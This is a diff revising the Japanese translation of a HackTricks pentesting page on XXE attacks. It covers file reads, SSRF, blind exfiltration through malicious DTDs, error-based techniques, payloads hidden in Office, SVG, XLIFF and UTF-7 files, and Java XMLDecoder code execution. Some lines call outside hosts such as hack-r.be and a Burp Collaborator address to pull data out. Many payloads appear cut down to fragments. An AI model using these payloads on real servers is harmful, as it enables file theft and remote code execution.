+- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
+- **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
-## XMLの基礀
+## XMLの基礎
-XMLは、データの保存と転送を目的としたマークアップ言語であり、記述的なタグの使用を可能にする柔軟な構造を特徴としています。HTMLとは異なり、事前定義されたタグに制限されていない点が異なります。JSONの台頭に伴い、XMLの重要性は低下していますが、初期のAJAX技術での役割は大きかったです。
+XMLは、データの格納と転送を目的としたマークアップ言語であり、記述的に名前付けられたタグの使用を可能にする柔軟な構造を特徴としています。HTMLとは異なり、事前定義されたタグに制限されていない点が異なります。JSONの台頭に伴い、XMLの重要性は低下していますが、初期のAJAX技術での役割があります。
- **エンティティを通じたデータ表現**: XMLのエンティティは、`<`や`>`のような特殊文字を含むデータの表現を可能にし、これらは`<`や`>`に対応してXMLのタグシステムとの競合を避けます。
-- **XML要素の定義**: XMLは要素タイプの定義を許可し、要素がどのように構造化され、どのようなコンテンツを含むかを明確にします。任意の種類のコンテンツから特定の子要素まで含めることができます。
+- **XML要素の定義**: XMLは要素タイプの定義を許可し、要素がどのように構造化され、どのようなコンテンツを含むかを明確にします。任意の種類のコンテンツから特定の子要素まで、幅広いコンテンツを含めることができます。
- **文書型定義(DTD)**: DTDは、文書の構造とそれが含むデータの種類を定義するためにXMLで重要です。内部、外部、または組み合わせのいずれかであるDTDは、文書のフォーマットと検証方法を指示します。
-- **カスタムおよび外部エンティティ**: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML External Entity(XXE)攻撃の文脈で、XMLパーサーが外部データソースを処理する方法を悪用するセキュリティ上の懸念を引き起こします: ` ]>`
+- **カスタムおよび外部エンティティ**: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML External Entity(XXE)攻撃の文脈でセキュリティ上の懸念を引き起こします。これらはXMLパーサーが外部データソースを処理する方法を悪用するXXE攻撃に関連しています: ` ]>`
-- **パラメータエンティティを使用したXXEの検出**: 通常の方法がパーサーのセキュリティ対策により失敗した場合、XMLパラメータエンティティを利用してXXEの脆弱性を検出することができます。これらのエンティティを使用すると、DNSルックアップをトリガーしたり、制御されたドメインにHTTPリクエストを送信したりして、脆弱性を確認することができます。
+- **パラメータエンティティを使用したXXE検出**: 通常の方法がパーサーのセキュリティ対策により失敗した場合、XMLパラメータエンティティを利用してXXE脆弱性を検出することができます。これらのエンティティを使用すると、DNSルックアップをトリガーしたり、制御されたドメインにHTTPリクエストを送信したりするなど、帯域外検出技術を使用して脆弱性を確認できます。
- ` ]>`
- ` ]>`
@@ -57,7 +57,7 @@ XMLは、データの保存と転送を目的としたマークアップ言語
]>
&example;
```
-この2番目のケースは、WebサーバーがPHPを使用している場合にファイルを抽出するのに役立ちます(Portswiggers labsの場合ではありません)
+この2番目のケースは、ウェブサーバーがPHPを使用している場合にファイルを抽出するのに役立ちます(Portswiggers labsの場合ではありません)
```xml
]>
@@ -75,9 +75,11 @@ XMLは、データの保存と転送を目的としたマークアップ言語
1
```
+![](<../.gitbook/assets/image (222) (1).png>)
+
### ディレクトリリスト
-**Java**ベースのアプリケーションでは、次のようなペイロードを使用してXXEを介してディレクトリの内容をリストアップすることができる場合があります(ファイルではなくディレクトリを要求するだけです):
+**Java**ベースのアプリケーションでは、次のようなペイロードを使用して、XXEを介してディレクトリの内容をリストアップすることができるかもしれません(ファイルではなくディレクトリを要求するだけです):
```xml
]>&xxe;
@@ -87,7 +89,7 @@ XMLは、データの保存と転送を目的としたマークアップ言語
```
### SSRF
-XXEを使用して、クラウド内でSSRFを悪用することができます。
+XXEを使用して、クラウド内のSSRFを悪用することができます。
```xml
]>
@@ -103,9 +105,9 @@ XXEを使用して、クラウド内でSSRFを悪用することができます
```
### "Blind" SSRF - データの外部への持ち出し
-**この場合、サーバーに新しい悪意のあるペイロードを含むDTDを読み込ませ、ファイルの内容をHTTPリクエスト経由で送信します(複数行のファイルの場合は** _**ftp://**_**を経由して持ち出すこともできます)。この説明は** [**こちらのPortswiggerのラボ**](https://portswigger.net/web-security/xxe/blind)**に基づいています。**
+**この場合、サーバーに悪意のあるペイロードを含む新しいDTDを読み込ませ、ファイルの内容をHTTPリクエストを介して送信させます(複数行のファイルの場合は** _**ftp://**_**を介して持ち出すこともできます)。この説明は** [**こちらのPortswiggerのラボ**](https://portswigger.net/web-security/xxe/blind)**に基づいています。**
-悪意のあるDTDには、データを持ち出すための一連の手順が記載されています。
+与えられた悪意のあるDTDでは、データを持ち出すために以下の手順が実行されます:
### 悪意のあるDTDの例:
構造は以下の通りです:
@@ -134,8 +136,6 @@ XXEを使用して、クラウド内でSSRFを悪用することができます
%xxe;]>
3;1
```
-このペイロードはXMLパラメータエンティティ`%xxe`を定義し、それをDTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。その後、パーサーはDTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、`/etc/hostname`ファイルを攻撃者のサーバーに外部流出させます。
-
### エラーベース(外部DTD)
**この場合、サーバーに悪意のあるDTDを読み込ませ、ファイルの内容をエラーメッセージ内に表示させます(エラーメッセージを見ることができる場合にのみ有効です)。** [**こちらの例から。**](https://portswigger.net/web-security/xxe/blind)
@@ -147,7 +147,7 @@ XXEを使用して、クラウド内でSSRFを悪用することができます
3. `eval`エンティティが呼び出され、`error`エンティティが動的に宣言されます。
4. `error`エンティティの呼び出しにより、存在しないファイルを読み込もうとする試みが行われ、`/etc/passwd`ファイルの内容がファイル名の一部として含まれたエラーメッセージが生成されます。
-悪意のある外部DTDは、以下のXMLで呼び出すことができます:
+以下のXMLで悪意のある外部DTDを呼び出すことができます:
```xml
%xxe;]>
@@ -155,11 +155,11 @@ XXEを使用して、クラウド内でSSRFを悪用することができます
```
### **エラーベース(system DTD)**
-では、**アウトオブバンドインタラクションがブロックされている**(外部接続が利用できない)場合の盲目的なXXE脆弱性はどうなるでしょうか。
+では、**アウトオブバンドインタラクションがブロックされている**(外部接続が利用できない)場合の盲目的なXXE脆弱性はどうなるのでしょうか。
XML言語仕様の抜け穴により、**ドキュメントのDTDが内部と外部の宣言を混在させたときにエラーメッセージを通じて機密データが公開**される可能性があります。この問題により、外部で宣言されたエンティティを内部で再定義することが可能となり、エラーベースのXXE攻撃を実行できます。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティを内部DTD内から再定義することを利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに頼る必要があり、パーシングエラーを誘発して機密情報を明らかにします。
-サーバーのファイルシステムに`/usr/local/app/schema.dtd`にあるDTDファイルが存在し、`custom_entity`というエンティティが定義されているとします。攻撃者は、次のようにハイブリッドDTDを送信することで、`/etc/passwd`ファイルの内容を明らかにするXMLパーシングエラーを誘発できます:
+サーバーのファイルシステムに`/usr/local/app/schema.dtd`にあるDTDファイルが存在し、`custom_entity`というエンティティが定義されているとします。攻撃者は、次のようにハイブリッドDTDを送信することで、`/etc/passwd`ファイルの内容を明らかにするXMLパーシングエラーを誘発することができます:
```xml
@@ -175,10 +175,11 @@ XML言語仕様の抜け穴により、**ドキュメントのDTDが内部と外
以下の手順は、このDTDによって実行されます:
- `local_dtd` という名前のXMLパラメータエンティティの定義に、サーバーのファイルシステムにある外部DTDファイルが含まれています。
-- 外部DTDで元々定義されていた `custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーベースのXXE攻撃](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化するように設計されています。この再定義は、`/etc/passwd` ファイルの内容を公開するためにパースエラーを引き起こすようになっています。
-- `local_dtd` エンティティを使用することで、外部DTDが参照され、新しく定義された `custom_entity` が含まれます。これらのアクションの連続により、攻撃で狙われるエラーメッセージが発生します。
+- 外部DTDで元々定義されていた `custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーベースのXXE攻撃](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化するように設計されています。この再定義は、`/etc/passwd` ファイルの内容を公開するためにパースエラーを引き起こすことを目的としています。
+- `local_dtd` エンティティを使用することで、外部DTDが参照され、新しく定義された `custom_entity` が含まれます。これらのアクションの連続により、攻撃によって狙われるエラーメッセージが発生します。
-**実際の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd` に `ISOamso` というエンティティが含まれています。
+
+**実際の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd` にDTDがあり、`ISOamso` というエンティティが含まれています。
```xml
3;1
```
-このテクニックでは、**内部DTDを使用**するため、まず**有効なDTDを見つける必要があります**。これを行うには、サーバーが使用している**OS/ソフトウェアをインストール**して、**デフォルトのDTDを検索**するか、システム内の**デフォルトのDTDのリストを取得**して、存在するかどうかを**確認**することができます:
+このテクニックでは、**内部DTDを使用するため、まず有効なDTDを見つける必要があります**。これを行うには、サーバーが使用している**OS/ソフトウェアをインストール**して、**デフォルトのDTDを検索**するか、システム内の**デフォルトのDTDのリストを取得**して、存在するかどうかを**確認**できます:
```xml
@@ -222,15 +223,15 @@ Testing 0 entities : []
```
### Office Open XML パーサーを介した XXE
-この攻撃の詳細については、Detectify の[この素晴らしい投稿](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)の第2セクションを参照してください。
+この攻撃の詳細については、Detectify の[この素晴らしい投稿](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)の第二セクションを参照してください。
-多くの Web アプリケーションが**Microsoft Office ドキュメントのアップロード機能**を提供し、その後これらのドキュメントから特定の詳細を抽出します。たとえば、Web アプリケーションがユーザーが XLSX 形式のスプレッドシートをアップロードしてデータをインポートすることを許可するかもしれません。パーサーがスプレッドシートからデータを抽出するためには、少なくとも1つの XML ファイルを解析する必要があります。
+多くの Web アプリケーションが**Microsoft Office ドキュメントのアップロード機能**を提供しており、その後これらのドキュメントから特定の詳細を抽出します。たとえば、Web アプリケーションがユーザーが XLSX 形式のスプレッドシートをアップロードしてデータをインポートすることを許可するかもしれません。パーサーがスプレッドシートからデータを抽出するためには、少なくとも 1 つの XML ファイルを解析する必要があります。
この脆弱性をテストするには、**XXE ペイロードを含む Microsoft Office ファイルを作成する**必要があります。最初のステップは、ドキュメントを解凍できる空のディレクトリを作成することです。
-ドキュメントを解凍した後、`./unzipped/word/document.xml`にある XML ファイルを好みのテキストエディター(たとえば vim)で開いて編集する必要があります。 XML を編集して、通常は HTTP リクエストで始まる所望の XXE ペイロードを含める必要があります。
+ドキュメントを解凍した後、`./unzipped/word/document.xml` にある XML ファイルを好みのテキストエディター(たとえば vim)で開いて編集する必要があります。XML を編集して、通常は HTTP リクエストから始まる所望の XXE ペイロードを含める必要があります。
-変更された XML 行は、2つのルート XML オブジェクトの間に挿入する必要があります。リクエスト用の監視可能な URL で URL を置換することが重要です。
+変更された XML 行は、2 つのルート XML オブジェクトの間に挿入する必要があります。リクエスト用の監視可能な URL で URL を置換することが重要です。
最後に、ファイルを zip 圧縮して悪意のある poc.docx ファイルを作成できます。以前に作成した "unzipped" ディレクトリから、次のコマンドを実行する必要があります:
@@ -239,25 +240,24 @@ Testing 0 entities : []
### Jar: プロトコル
-**jar** プロトコルは、**Java アプリケーション内でのみアクセス可能**であり、**PKZIP** アーカイブ(たとえば `.zip`, `.jar` など)内のファイルアクセスを可能にするよう設計されています。これは、ローカルおよびリモートファイルの両方に対応しています。
+**jar** プロトコルは、**Java アプリケーション**内でのみアクセス可能です。これは、**PKZIP** アーカイブ(たとえば `.zip`、`.jar` など)内のファイルアクセスを可能にするよう設計されており、ローカルおよびリモートファイルの両方に対応しています。
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
-PKZIPファイル内のファイルにアクセスできると、**system DTDファイルを介したXXEの悪用が非常に便利**です。[このセクションをチェックして、system DTDファイルを悪用する方法を学びます](xxe-xee-xml-external-entity.md#error-based-system-dtd)。
-
+PKZIPファイル内のファイルにアクセスできると、**system DTDファイルを介したXXEの悪用が非常に便利**です。[こちらのセクションをチェックして、system DTDファイルの悪用方法を学びましょう](xxe-xee-xml-external-entity.md#error-based-system-dtd)。
{% endhint %}
-PKZIPアーカイブ内のファイルにアクセスするプロセスは、jarプロトコルを介して以下の手順で行われます:
+PKZIPアーカイブ内のファイルにアクセスするプロセスは、jarプロトコルを介して行われます。その手順は次のとおりです:
1. 指定された場所からzipアーカイブをダウンロードするためにHTTPリクエストが行われます。例:`https://download.website.com/archive.zip`。
2. アーカイブを含むHTTPレスポンスは一時的にシステムに保存され、通常は`/tmp/...`のような場所に保存されます。
-3. アーカイブは展開され、その内容にアクセスできます。
+3. アーカイブは解凍され、その内容にアクセスできます。
4. アーカイブ内の特定のファイル、`file.zip`が読み取られます。
-5. このプロセス中に作成された一時ファイルは、操作の後に削除されます。
+5. このプロセス中に作成された一時ファイルは削除されます。
-このプロセスを第2ステップで中断させる興味深いテクニックは、アーカイブファイルを提供する際にサーバー接続を無期限にオープンに保つことです。この目的のために利用できるツールは、[このリポジトリ](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)で利用可能であり、Pythonサーバー(`slow_http_server.py`)やJavaサーバー(`slowserver.jar`)が含まれています。
+このプロセスを第2ステップで中断させる興味深いテクニックは、アーカイブファイルを提供する際にサーバー接続を無期限にオープンに保つことです。この目的のために利用できるツールには、Pythonサーバー(`slow_http_server.py`)やJavaサーバー(`slowserver.jar`)などが含まれています。[このリポジトリ](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)で利用可能です。
```xml
]>
&xxe;
@@ -295,7 +295,7 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
-#### 二次爆破攻撃
+#### 二次の膨張攻撃
![](<../.gitbook/assets/image (531).png>)
@@ -315,21 +315,21 @@ Responder.py -I eth0 -v
### XInclude
-サーバーサイドのXMLドキュメントにクライアントデータを統合する際、バックエンドのSOAPリクエストなど、XML構造に対する直接的な制御が制限されることがよくあります。そのため、`DOCTYPE`要素の変更に制限があるため、従来のXXE攻撃が妨げられることがあります。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にするため、解決策を提供します。この方法は、サーバーが生成したXMLドキュメント内のデータの一部しか制御できない場合でも効果的です。
+サーバーサイドのXMLドキュメントにクライアントデータを統合する際、バックエンドのSOAPリクエストなどで、XML構造に直接制御が制限されることがよくあり、`DOCTYPE`要素の変更に制限があるため、従来のXXE攻撃が妨げられることがあります。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にするため、解決策を提供します。この方法は、サーバーが生成したXMLドキュメント内のデータの一部しか制御できない場合でも効果的です。
-`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図した外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃をどのように構築できるかを簡潔に示した例です:
+`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図した外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃をどのように構築できるかを簡潔に示した例です。
```xml
productId=&storeId=1
```
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
-### SVG - ファイルのアップロード
+### SVG - File Upload
-ユーザーが特定のアプリケーションにアップロードしたファイルは、サーバーで処理されることがあり、XMLまたはXMLを含むファイル形式の処理方法に脆弱性を悪用する可能性があります。オフィスドキュメント(DOCX)や画像(SVG)などの一般的なファイル形式は、XMLに基づいています。
+特定のアプリケーションにユーザーがアップロードしたファイルは、サーバーで処理されることがあり、XMLやXMLを含むファイル形式の処理方法における脆弱性を悪用する可能性があります。オフィス文書(DOCX)や画像(SVG)などの一般的なファイル形式は、XMLに基づいています。
-ユーザーが**画像をアップロード**すると、これらの画像はサーバーサイドで処理または検証されます。PNGやJPEGなどの形式を期待しているアプリケーションでも、**サーバーの画像処理ライブラリはSVG画像もサポート**しているかもしれません。XMLベースの形式であるSVGは、攻撃者が悪意のあるSVG画像を送信して、サーバーをXXE(XML External Entity)の脆弱性にさらすことができます。
+ユーザーが**画像をアップロード**すると、これらの画像はサーバーサイドで処理または検証されます。PNGやJPEGなどの形式を期待しているアプリケーションでも、**サーバーの画像処理ライブラリはSVG画像もサポート**しているかもしれません。XMLベースのフォーマットであるSVGは、攻撃者が悪意のあるSVG画像を送信して、サーバーをXXE(XML External Entity)の脆弱性にさらすことができます。
-以下は、悪意のあるSVG画像がシステムファイルを読み取ろうとする例です:
+以下に、悪意のあるSVG画像がシステムファイルを読み取ろうとする例が示されています:
```xml
```
@@ -339,15 +339,13 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
```
-両方のインスタンスで、SVG形式が使用され、サーバーソフトウェアのXML処理機能を悪用する攻撃が発生し、堅牢な入力検証とセキュリティ対策の必要性が強調されています。
+両方のインスタンスで、SVG形式が使用され、サーバーソフトウェアのXML処理機能を悪用する攻撃が実行され、堅牢な入力検証とセキュリティ対策の必要性が強調されています。
詳細については、[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) をチェックしてください!
-**注:読み取りファイルの最初の行または実行結果の最初の行は、作成された画像の内部に表示されます。したがって、SVGが作成した画像にアクセスできる必要があります。**
+**ファイルアップロード - PDF**
-### **PDF - ファイルのアップロード**
-
-次の投稿を読んで、**PDFファイルをアップロードしてXXEを悪用する方法**を学んでください:
+次の投稿を読んで、**PDFをアップロードしてXXEを悪用する方法**を学んでください:
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
@@ -371,9 +369,9 @@ Content-Length: 52
bar
```
-### Content-Type: JSON から XEE へ
+### Content-Type: JSONからXEEへ
-リクエストを変更するには、**Content Type Converter** という Burp 拡張機能を使用できます。[こちら](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) でこの例を見つけることができます。
+リクエストを変更するには、「**Content Type Converter**」というBurp Extensionを使用できます。[こちら](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html)にこの例があります。
```xml
Content-Type: application/json;charset=UTF-8
@@ -409,11 +407,11 @@ Content-Type: application/xml;charset=UTF-8
```xml
%init; ]>
```
-これは、XMLサーバーが`data://`プロトコルを受け入れる場合にのみ機能します。
-
### UTF-7
-\[**"Encode Recipe**" of cyberchef here ]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) でUTF-7に変換できます。
+XMLサーバーが`data://`プロトコルを受け入れる場合のみ機能します。
+
+\[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) でUTF-7に変換します。
```xml
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@@ -425,17 +423,17 @@ Content-Type: application/xml;charset=UTF-8
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
-### ファイル:/ プロトコルバイパス
+### ファイル:/ プロトコル バイパス
-WebがPHPを使用している場合、`file:/`の代わりに**php wrappers**`php://filter/convert.base64-encode/resource=`を使用して**内部ファイルにアクセス**できます。
+Web が PHP を使用している場合、`file:/` の代わりに **php wrappers**`php://filter/convert.base64-encode/resource=` を使用して **内部ファイルにアクセス** できます。
-WebがJavaを使用している場合は、[**jar:プロトコル**](xxe-xee-xml-external-entity.md#jar-protocol)をチェックできます。
+Web が Java を使用している場合は、[**jar: プロトコル**](xxe-xee-xml-external-entity.md#jar-protocol) をチェックできます。
-### HTMLエンティティ
+### HTML エンティティ
-[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)からのトリック\
-**HTMLエンティティ**を使用して**エンティティ内にエンコード**し、それを呼び出して**dtdをロード**することができます。\
-使用される**HTMLエンティティ**は**数値**である必要があることに注意してください(この例のように)。
+[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) からのトリック\
+**エンティティ内にエンティティ** を作成し、**html エンティティ** でエンコードしてからそれを呼び出して **dtd を読み込む** ことができます。\
+使用される **HTML エンティティ** は **数値** である必要があることに注意してください(この例のように)。
```xml
%a;%dtd;]>
@@ -475,21 +473,19 @@ DTDの例:
```
## **SOAP - XEE**
-### **XML External Entity (XEE) Injection**
-
-XML External Entity (XEE) Injection is a type of attack that abuses a misconfiguration in the way XML processors parse XML input. By injecting malicious XML content, an attacker can exploit the vulnerable application to disclose confidential data, perform server-side request forgery (SSRF), and more. This technique is commonly used in SOAP web services where XML is used for data exchange.
+## SOAP - XEE
```xml
%dtd;]>]]>
```
## XLIFF - XXE
-この例は、[https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)を参考にしています。
+この例は、[https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)に触発されました。
XLIFF(XML Localization Interchange File Format)は、ローカライゼーションプロセスでのデータ交換を標準化するために使用されます。これは、主にローカライゼーション中にツール間でローカライズ可能なデータを転送するために使用されるXMLベースの形式であり、CAT(Computer-Aided Translation)ツールの共通の交換形式としても使用されます。
### Blind Request Analysis
-以下の内容でサーバーにリクエストが送信されます:
+次の内容でサーバーにリクエストが行われます:
```xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@@ -501,14 +497,14 @@ Content-Type: application/x-xliff+xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
-しかし、このリクエストは内部サーバーエラーを引き起こし、具体的にはマークアップ宣言に問題があると指摘されています。
+しかし、このリクエストは内部サーバーエラーを引き起こし、具体的にはマークアップ宣言に問題があると言及しています。
```json
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
-エラーが発生したにもかかわらず、Burp Collaborator にヒットが記録され、外部エンティティとのある程度のやり取りがあることを示しています。
+エラーが発生したにもかかわらず、Burp Collaborator にヒットが記録され、外部エンティティとのある程度のやり取りが示されます。
-外部バンドデータの流出
-データを流出させるために、修正されたリクエストが送信されます:
+外部バンドデータのエクスフィルトレーション
+データをエクスフィルトレートするために、修正されたリクエストが送信されます:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@@ -520,17 +516,17 @@ Content-Type: application/x-xliff+xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
-このアプローチにより、User AgentがJava 1.8の使用を示していることが明らかになります。このJavaのバージョンの注目すべき制限事項は、Out of Bandテクニックを使用して、/etc/passwdなどの改行文字を含むファイルを取得できないことです。
+このアプローチでは、User AgentがJava 1.8の使用を示していることが明らかになります。このJavaのバージョンの制限事項として、改行文字を含むファイル(例:/etc/passwd)をOut of Bandテクニックを使用して取得できないという点が挙げられます。
エラーベースのデータエクスフィルトレーション
-この制限を克服するために、エラーベースのアプローチが採用されます。次のようにDTDファイルが構造化され、ターゲットファイルからデータを含むエラーがトリガーされます:
+この制限を克服するために、エラーベースのアプローチが採用されます。次のようにDTDファイルを構造化して、ターゲットファイルからデータを含むエラーをトリガーします:
```xml
">
%foo;
%xxe;
```
-サーバーはエラーで応答し、重要な点として存在しないファイルを反映しており、サーバーが指定されたファイルにアクセスしようとしていることを示しています。
+サーバーはエラーで応答し、重要なことに存在しないファイルを反映しており、サーバーが指定されたファイルにアクセスしようとしていることを示しています:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
@@ -541,7 +537,7 @@ Content-Type: application/x-xliff+xml
%foo;
%xxe;
```
-この変更により、ファイルの内容が正常に外部流出され、HTTP経由で送信されたエラー出力に反映されます。これは、感
+この変更により、ファイルの内容が正常に外部に流出し、HTTP経由で送信されたエラー出力に反映されます。これは、感
```xml
@@ -608,9 +604,9 @@ PHPのbase64フィルターを使用
```
## Java XMLDecoder XEE to RCE
-XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成するJavaクラスです。悪意のあるユーザーがアプリケーションに任意のデータを使用させて**readObject**メソッドを呼び出すことができれば、サーバーでコード実行権限を瞬時に取得します。
+XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成するJavaクラスです。悪意のあるユーザーがアプリケーションに任意のデータを使用させて**readObject**メソッドを呼び出すことができれば、サーバーでコードの実行権限を瞬時に取得します。
-### Runtime().exec()を使用
+### Runtime().exec()の使用
```xml
@@ -689,14 +685,14 @@ XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成す
-htARTE (HackTricks AWS Red Team Expert) で **ゼロからヒーローまでのAWSハッキングを学ぶ**
+ゼロからヒーローまでのAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert)!
-HackTricks をサポートする他の方法:
+HackTricksをサポートする他の方法:
-* **HackTricks で企業を宣伝したい**、または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
+* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
-* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
-* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
+* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する